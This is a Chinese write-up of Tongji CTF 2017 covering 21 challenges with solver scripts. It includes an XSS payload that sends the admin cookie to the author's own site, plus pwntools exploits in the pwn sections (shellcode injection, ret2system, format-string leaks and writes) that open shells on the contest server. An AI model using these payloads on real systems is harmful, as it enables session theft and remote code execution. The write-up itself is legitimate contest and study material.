Tongji CTF 2017 Writeup

转载

dd121494648 于 2017-11-13 21:18:00 发布 153 收藏 1
文章标签： shell php python
原文链接：http://www.cnblogs.com/VV0H/p/7828262.html

今年学校的大佬们又办了CTF比赛，我也继续凑了一下热闹，记一下writeup

完成情况: 21 / 22

1. 签到题 basic10

签到题，无需多言，直接提交即可

2. RSA crypto100

求最大质因数。没有自己算，因为有一个网站 存了大质数的数据库，可以直接查

3. 这也是一道签到题 misc100

看到等于号结尾，猜想可能是base64, 解码之，得到一堆点和杠的组合，明显是莫尔斯码，于是找到在线解码网站解之。

4. 月黑风高夜 misc200

图片隐写题。用 StegSolver 打开，左右翻了一下，发现在某一个通道藏了一个二维码，还是比较明显的，扫之。

5. 有毒吧 misc200

用wireshark打开抓包文件，发现是一些USB相关的数据。

结合提示，应该是抓的键盘的包。百度了一下发现在数据中有中断信号可以判断出是按了哪一个键。

找到了网上的一个教程和一篇说明键盘中断码的文档，首先可以用wireshark自带的一个程序导出这些数据，然后根据文档人肉查表找到了键盘记录，也就是 flag

导出语句:

```
tshark.exe -r xxxxxxx.pcap -T fields -e usb.capdata > usbdata.txt
```

键盘码文档

6. 这是一道签到题 reverse100

Apk首先提取出来classes.dex , 用 dex2jar 处理成jar。

然后jd-gui打开，直接看代码。

发现if语句中判断一个全是看上去是ASCII码的数字的数组，写个脚本用`chr()`把这些数字转成ASCII即可得到flag。

7. 这是一道XinSaiSai的题目 web100

一开始没读懂题，后来发现题目的暗示，是XSS攻击。

比如，在用户名提交 `<script>location.href=http://个人网站/+document.cookie</script>`，请求自己的网站。

然后到后台看log发现请求参数是果然就是我们想要的管理员的 cookie 也就是`flag`

题目比较基础，没有对提交的东西做任何过滤

8. 这也叫缓冲区溢出 pwn100

很基础的一道pwn题。

直接溢出覆盖后面的变量，使得if语句得以执行，正好给出的数是可以由 ASCII 字符组成，于是提交 'aptx' * 66 , 正好覆盖变量，拿到flag

9. 这是一道很难的题目 web200

网站上显示的文章百度之，发现是一篇没有e的文章，也就是暗示0e，再加上说是php，也就是指向了php的 md5() 用 == 判断的一个问题。

构造一个md5之后是0e打头的字符串，会被php认为是数字进行比较，因为太大变成0，因为php是弱类型语言，于是 == 号成立，验证通过，拿到flag。

网上有很多 php 的弱类型比较 的相关文章，这题的关键是领会出题人的暗示

10. 大新闻 misc200

拿到了wifi的数据包，可以找个常用字典用 `aircrack-ng` 来暴力破解密码, 题目密码比较弱，秒出（暴力xx不可取）

11. .NETTEN. reverse200

题目暗示是.NET, 反编译之。发现resources里藏了一个exe，而且main函数里把每个字节异或了99之后才Invoke执行的。

拿出exe跑个脚本每个字节异或下，又是一个.NET程序。接着反编译之。逻辑很简单，分别用 md5, base64, sha1 来处理一下。其中md5和sha1虽然是不对称加密，但是常见的原文都是可以网上查的。

```
import sys
file1_b = bytearray(open('./ReflectionShell.ReflectionCore.exe', 'rb').read())

size = len(file1_b)
xord_byte_array = bytearray(size)

# XOR
for i in range(size):
        xord_byte_array[i] = file1_b[i] ^ 99

# Write the XORd bytes to the output file
open('xx.exe', 'wb').write(xord_byte_array)
```

12. 这还是缓冲区溢出 pwn200

IDA之，发现这是一个printf的格式化字符串来构造溢出的题目。利用这个可以把已经存在栈里的 flag 输出出来。

只要计算好偏移位置可以任意地址输出和写入， 本题的 exploit 输入为 "%6$s"

13. py交易 misc200

解压文件夹，得到一个pyc文件。可是文件名有点奇怪，为啥强调`cpython-36`呢？(后来发现想错了，都带这个，不过搜这个真的能找到讲隐写的文章) 百度一下发现有一个pyc的隐写工具`stegosaurus`，从网站上下载下来运行就可以extract出来flag了。

14. Hijack reverse300

题目暗示要dll劫持。分析dll发现导出了两个函数 `_0` 和 `_1` , 二维码说要考虑函数的调用顺序。

于是感觉可能答案是01串吧。自己编译一个dll，这个dll里 `_0` 和 `_1` 分别输出 0 和 1，替换原来的dll，也就是dll劫持，运行果然得到01串

找一个网站 `binary 2 ascii` ，得到 flag

通过这个题学习了windows里咋编译dll，收获挺大的，之前VS都很少用

```
#include "Flag.h"
#include "stdafx.h"
#include <iostream>
using namespace std;
__declspec(dllexport) void _0() {
        cout << "0";
}
__declspec(dllexport) void _1() {
        cout << "1";
}
int main()
{
        cout << "fuck" << endl;
    return 0;
}
```

15. WANNACRY crypto200

这道题目说是 AES-CTR 加密。后缀名暗示这是一个wmv文件。查到wmv文件的前16个字节是固定的，于是已知16字节的明文密文对。然后又找到多个wmv文件对比，发现有一行一定是全0, 于是又找到一串明文密文对，明文异或密文就可以得到 key和counter AES之后的结果。

惊奇的发现两对得到的结果竟然一样，说明counter根本没有变。所以只要每个16字节都异或这一串就可以得到原文啦。

```
# from Crypto.Util import Counter
# from Crypto.Cipher import AES

def main():

    known_plain  = bytes.fromhex('3026B2758E66CF11A6D900AA0062CE6C')
    known_cipher = bytes.fromhex('3e8652327e4d1a0e871865eb29485dcc')

    # plain_0 = '0' * 16
    # cipher_0 = '0ea0e047f02bd51f21c16541292a93a0'

    key = bytearray(16)

    for i in range(16):
        key[i] = known_cipher[i] ^ known_plain[i]

    key = bytes(key)

    key_aes_iv = bytes(key)

    cipher = open('./flag.wmv.enc', 'rb').read()

    # ctr = Counter.new(128)

    # decryptor = AES.new(key=key, mode=AES.MODE_CTR, counter=ctr)
    # plain = decryptor.decrypt(cipher)
    l = len(cipher)
    plain = bytearray(l)

    for i in range(l):
        plain[i] = cipher[i] ^ (key[i % 16])

    f = open('plain.wmv', 'wb')
    f.write(plain)
    f.close()

if __name__ == '__main__':
    main()
```

16. 感觉药丸 crypto300

打开之后发现自动识别编码是 GBK，发现是一堆雨字头的中文，加一些标点符号和数字。

因为符号和数字没有加密，标点符号什么的也很正常，于是猜测是用了替代密码。 可能是把英文文章里的字母替换成了汉字

写了一个脚本用来统计其中的汉字的出现次数，同时也发现有 25 个汉字，和字母的个数差不多，近一步验证了想法。

之后就是查找字母频率进行替代。先给出一个大致的顺序替代，根据看文章的出现常用单词来交换不正确的，最后得到原文，flag也在其中

```
def is_chinese(uchar):
    if uchar >= u'\u4E00' and uchar <= u'\u9FA5':
        return True
    else:
        return False

def wordcount(f, encoding):
    d = {}
    try:
        with open(f, 'r') as txt:
            for line in txt:
                u = line
                for uchar in u:
                    if is_chinese(uchar):
                        if uchar in d.keys():
                            d[uchar] += 1
                        else:
                            d[uchar] = 1
    except IOError as ioerr:
        print("error")

    return d

def analyse(word_dict):
    count_sum = 0
    for k, v in word_dict.items():
        count_sum += v
    sd = sorted(word_dict.items(), key=lambda x: x[1], reverse=True)
    print(sd)
    exchange(sd)

def exchange(word_dict):
    freq = ['e', 't', 'a', 'n', 'i', 's', 'o', 'h', 'r', 'd', 'l', 'u', 'f', 'g', 'w', 'p', 'b', 'y', 'c'

    res = {}
    for i, (k, v) in enumerate(word_dict):
        res[k] = freq[i]

    newfile = open('plain.txt', 'w')

    with open('ss.txt', 'r') as txt:
        for line in txt:
            newline = ''.join([res[ch] if is_chinese(ch) else ch for ch in line])
            print(newline)
            newfile.write(newline)
    print(res)
if __name__ == '__main__':
    d = wordcount('./ss.txt', 'utf-8')
    analyse(d)
```

17. Quanter reverse400

首先运行，发现是输入一个字符串。应该是加密后比较，正确的原文就是flag

然后IDA之，发现里面没有详细的函数名，跳转也比较复杂，于是先从里面的字符串下手。

strings 的结果中找到了一串大写字母，可能是加密后的明文。IDA里查找字符串，果然找到了函数

分析后找到了所谓的加密函数，没看懂, 于是提取出来函数，尝试加密看结果

发现加密后的长度是原来的二倍，而且后一个字母的加密结果依赖于前面的加密结果，输入`tj{`果然前几个都一样

于是开始写代码爆破，最后得到了结果

```
#include <cstdio>
#include <cstring>
// encrypt(a,b) 是反编译的结果里提取出来的加密函数
const char *dest = "EJAFDTHQDVCWJDDSJNDHCJEZCGJSJKGREIFAHVDKIICBHLJFJQEUFMFWCQIUFLHGCFGWJABIFMGEEM";
void brute()
{
    char a[100];
    char b[100];
    char c[100];
    for (int i = 0; i < 100; ++i) a[i] = 0;
    a[0] = 't';
    a[1] = 'j';
    a[2] = '{';
    for (int i = 3; i < 39; ++i) {
        for (char ch = 0; ch < 128; ++ch) {
            a[i] = ch;
            for (int _ = 0; _ < 100; ++_) b[_] = 0;
            encrypt(a, b);
            strncpy(c, dest, 2*(i+1));
            c[2*(i+1)] = 0;
            if (strcmp(b, c) == 0) {
                break;
            }
        }
        printf("%s\n", a);
    }
}

int main()
{
    brute();
    return 0;
}
```

18. C语言超级程序设计 pwn300

这题跟前两题不太一样，内存里没有flag，不过查看代码可以看到一句 `call eax`

运行 `checksec` 发现开了Canary栈保护但是没开NX，所以我们可以在栈上写入`shellcode`代码并且会因为那句`call eax`而执行

```
from pwn import *

sh = remote('10.10.175.209', 10003)
# sh = process('./pwn300')

payload = asm(shellcraft.i386.linux.sh())

print payload

sh.sendline(payload)

sh.interactive()

sh.close()
```

19. I wrote Python reverse 500

解压文件，发现包含了一个完整的 python 环境还有一个 flag.pyc, 直接执行pyc发现要输入密码。

肯定是要反编译这个pyc了，然而常用的uncompyle6直接报错，看来问题是出在题目自带的python环境了。

查找题目给的python自带的包，发现了一个dis库，import的时候提示缺少`opcode.py`, 把系统里的放进去，能import了，然而用的时候又出错了。

于是问题就锁定在这个opcode.py了。经过查找资料发现，python有一种常见的混淆方法就是自己魔改一个解释器，把`bytecode`代表的数字做个替换，让普通的反编译手段无法生效，不过发布软件要自带解释器，看来就是这个原因了。

分别在两个解释器写一个相同的函数，然后输出`func.__code__.co_code`,果然不同，验证了自己的猜想

于是我们就需要根据正确的opcode来寻找到底替换了什么。我采用的方法是编写一个包含所有opcode的python代码，分别用正常的解释器编译和用题目的解释器编译，然后解析二进制文件，查找到底哪个opcode被替换了，然后自己再编译一个使用错误opcode的反编译器，得到源码，获取flag。

反编译用的是GitHub上找的一个C++写的库，因为可以自己修改opcode重新编译。

对比pyc的代码:

```
import sys
import marshal
opmap = {}


def compare(cobj1, cobj2):
    codestr1 = bytearray(cobj1.co_code)
    codestr2 = bytearray(cobj2.co_code)
    if len(codestr1) != len(codestr2):
        print("two cobj has different length, skipping")
        return
    i = 0
    while i < len(codestr1):
        if codestr1[i] not in opmap:
            opmap[codestr1[i]] = codestr2[i]
        else:
            if opmap[codestr1[i]] != codestr2[i]:
                print(codestr1[i], '   ->   ', codestr2[i])
                print("error: has wrong opcode")
                break
        if codestr1[i] < 90:
            i += 1
        elif codestr1[i] >= 90:
            i += 2
        else:
            print("wrong opcode")
    for const1, const2 in zip(cobj1.co_consts, cobj2.co_consts):
        if hasattr(const1, 'co_code') and hasattr(const2, 'co_code'):
            compare(const1, const2)


def usage():
    print("Usage: %s filename1.pyc filename2.pyc")


def main():
    if len(sys.argv) != 3:
        usage()
        return
    cobj1 = marshal.loads(open(sys.argv[1], 'rb').read())
    cobj2 = marshal.loads(open(sys.argv[2], 'rb').read())
    compare(cobj1, cobj2)

    res = {}
    for k, v in opmap.items():
        if k != v:            # res[bytes((v,))] = bytes((k,))
            res[v] = k

    print(res)

    for k, v in res.items():
        print(k, '->', v)


if __name__ == '__main__':
    main()
```

修改之后反编译得到python代码是一堆if语句，最后写一个获取flag的脚本就行了

20. C语言-还有这种操作-程序设计 pwn400

这道题也没有将flag读到内存里，看来需要拿到shell才行

objdump一下，发现里面有`system@plt`, 于是只需要构造栈溢出然后覆盖返回地址就可以了

至于 "/bin/sh" 字符串嘛，程序里正好有一个 "small fish" 字符串，我们可以计算其中的 "sh" 的地址构造exploit

最后顺利拿到shell

代码

```
from pwn import *

r = remote('10.10.175.209', 10004)

system_arg = p32(0x80485d3 + 8)

payload = 'A' * 0x100 + 'a' * 16 + p32(0x08048380) + 'b' * 4 + system_arg

r.sendline(payload)

r.interactive()
```

21. ????? pwn500

这个题目也是内存中没有flag，需要那shell, 不过这次既没有 system 也没有 shell，而且开了NX，不能写shellcode了

不过观察Kid函数可以发现，scanf函数可以溢出，而且printf函数可以利用格式化字符串漏洞读写任意合法地址

查阅资料可以知道 plt 和 got 的原理，只需要知道函数在libc.so中的偏移差，就可以用一个函数的真实地址计算出另一个函数的真实地址了

在gdb中调试可以在栈里找到一个 `__libc_start_main` 的实际地址，于是可以用printf将其泄露出来，计算出 system 地址

偏移地址的计算可以借助一个`libc-database`的库，至于libc版本，可以用pwn400拿到shell后去看，因为pwn题都在一个服务器上

可是我们还需要第二次发送，于是可以栈溢出覆盖函数的返回地址改成还是这个Kid函数，从而可以第二次执行输入

用 `objdump -h` 可以查找到 `.bss` 段的地址

我们的第二次输入可以利用printf的%n的任意写的漏洞，将 "/bin/sh" 写入到 `.bss` 段中，然后这个payload的返回地址就是system，参数是我们写入的这个地址，最后成功拿到shell

```
# %83$p
# then libc-database get system_addr and bash_addr

from pwn import *
DEBUG = 0
# r = process('./pwn500')
r = remote('10.10.175.209', 10005)
#
if DEBUG:
    context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
    gdb.attach(proc.pidof(r)[0])
#
kid_addr = p32(0x0804854d)

payload = '%83$p' + 'A' * (0x100 + 16 - 5) + kid_addr

r.sendline(payload)

res = r.recv(1024)
print res

start_addr = int(res[0:10], 16)

print 'start_main_addr:', hex(start_addr)

#
system_addr = start_addr - 0x18637 + 0x0003a940
sh_addr = start_addr - 0x18637 + 0x15900b # failed why ?

print 'system_addr:', hex(system_addr)
print 'sh_addr:', hex(sh_addr)


# 0x804a070 在bss段, 用 "sh" 写入, 也就是 \x73\x68\x00\x00

payload2 = fmtstr_payload(7, {0x0804a070: 0x00006873})

payload2 += 'B' * (0x100 + 16 - len(payload2)) + p32(system_addr) + kid_addr + p32(0x0804a070)

r.sendline(payload2)
r.interactive()
```

代码写得很丑.....

最后祝黄渡理工的 **CTF** 和计算机相关专业发展的越来越好！

转载于:https://www.cnblogs.com/VV0H/p/7828262.html